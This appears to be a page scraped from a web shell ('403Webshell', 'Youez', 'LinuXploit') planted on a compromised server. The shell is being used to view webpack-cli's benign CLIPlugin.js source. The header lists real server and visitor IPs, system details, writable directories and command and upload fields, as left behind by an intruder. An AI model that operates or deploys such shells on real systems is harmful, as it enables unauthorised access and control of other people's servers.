403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/node_modules/webpack-cli/lib/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/node_modules/webpack-cli/lib/plugins/CLIPlugin.js
class CLIPlugin {
    constructor(options) {
        this.options = options;
    }

    setupHotPlugin(compiler) {
        const { HotModuleReplacementPlugin } = compiler.webpack || require('webpack');
        const hotModuleReplacementPlugin = Boolean(compiler.options.plugins.find((plugin) => plugin instanceof HotModuleReplacementPlugin));

        if (!hotModuleReplacementPlugin) {
            new HotModuleReplacementPlugin().apply(compiler);
        }
    }

    setupPrefetchPlugin(compiler) {
        const { PrefetchPlugin } = compiler.webpack || require('webpack');

        new PrefetchPlugin(null, this.options.prefetch).apply(compiler);
    }

    async setupBundleAnalyzerPlugin(compiler) {
        // eslint-disable-next-line node/no-extraneous-require
        const { BundleAnalyzerPlugin } = require('webpack-bundle-analyzer');
        const bundleAnalyzerPlugin = Boolean(compiler.options.plugins.find((plugin) => plugin instanceof BundleAnalyzerPlugin));

        if (!bundleAnalyzerPlugin) {
            new BundleAnalyzerPlugin().apply(compiler);
        }
    }

    setupProgressPlugin(compiler) {
        const { ProgressPlugin } = compiler.webpack || require('webpack');
        const progressPlugin = Boolean(compiler.options.plugins.find((plugin) => plugin instanceof ProgressPlugin));

        if (!progressPlugin) {
            new ProgressPlugin({ profile: this.options.progress === 'profile' }).apply(compiler);
        }
    }

    setupHelpfulOutput(compiler) {
        const pluginName = 'webpack-cli';
        const getCompilationName = () => (compiler.name ? `'${compiler.name}'` : '');
        const logCompilation = (message) => {
            if (process.env.WEBPACK_CLI_START_FINISH_FORCE_LOG) {
                process.stderr.write(message);
            } else {
                this.logger.log(message);
            }
        };

        const { configPath } = this.options;

        compiler.hooks.run.tap(pluginName, () => {
            const name = getCompilationName();

            logCompilation(`Compiler${name ? ` ${name}` : ''} starting... `);

            if (configPath) {
                this.logger.log(`Compiler${name ? ` ${name}` : ''} is using config: '${configPath}'`);
            }
        });

        compiler.hooks.watchRun.tap(pluginName, (compiler) => {
            const { bail, watch } = compiler.options;

            if (bail && watch) {
                this.logger.warn('You are using "bail" with "watch". "bail" will still exit webpack when the first error is found.');
            }

            const name = getCompilationName();

            logCompilation(`Compiler${name ? ` ${name}` : ''} starting... `);

            if (configPath) {
                this.logger.log(`Compiler${name ? ` ${name}` : ''} is using config: '${configPath}'`);
            }
        });

        compiler.hooks.invalid.tap(pluginName, (filename, changeTime) => {
            const date = new Date(changeTime * 1000);

            this.logger.log(`File '${filename}' was modified`);
            this.logger.log(`Changed time is ${date} (timestamp is ${changeTime})`);
        });

        (compiler.webpack ? compiler.hooks.afterDone : compiler.hooks.done).tap(pluginName, () => {
            const name = getCompilationName();

            logCompilation(`Compiler${name ? ` ${name}` : ''} finished`);

            process.nextTick(() => {
                if (compiler.watchMode) {
                    this.logger.log(`Compiler${name ? `${name}` : ''} is watching files for updates...`);
                }
            });
        });
    }

    apply(compiler) {
        this.logger = compiler.getInfrastructureLogger('webpack-cli');

        if (this.options.progress) {
            this.setupProgressPlugin(compiler);
        }

        if (this.options.hot) {
            this.setupHotPlugin(compiler);
        }

        if (this.options.prefetch) {
            this.setupPrefetchPlugin(compiler);
        }

        if (this.options.analyze) {
            this.setupBundleAnalyzerPlugin(compiler);
        }

        this.setupHelpfulOutput(compiler);
    }
}

module.exports = CLIPlugin;

Youez - 2016 - github.com/yon3zu
LinuXploit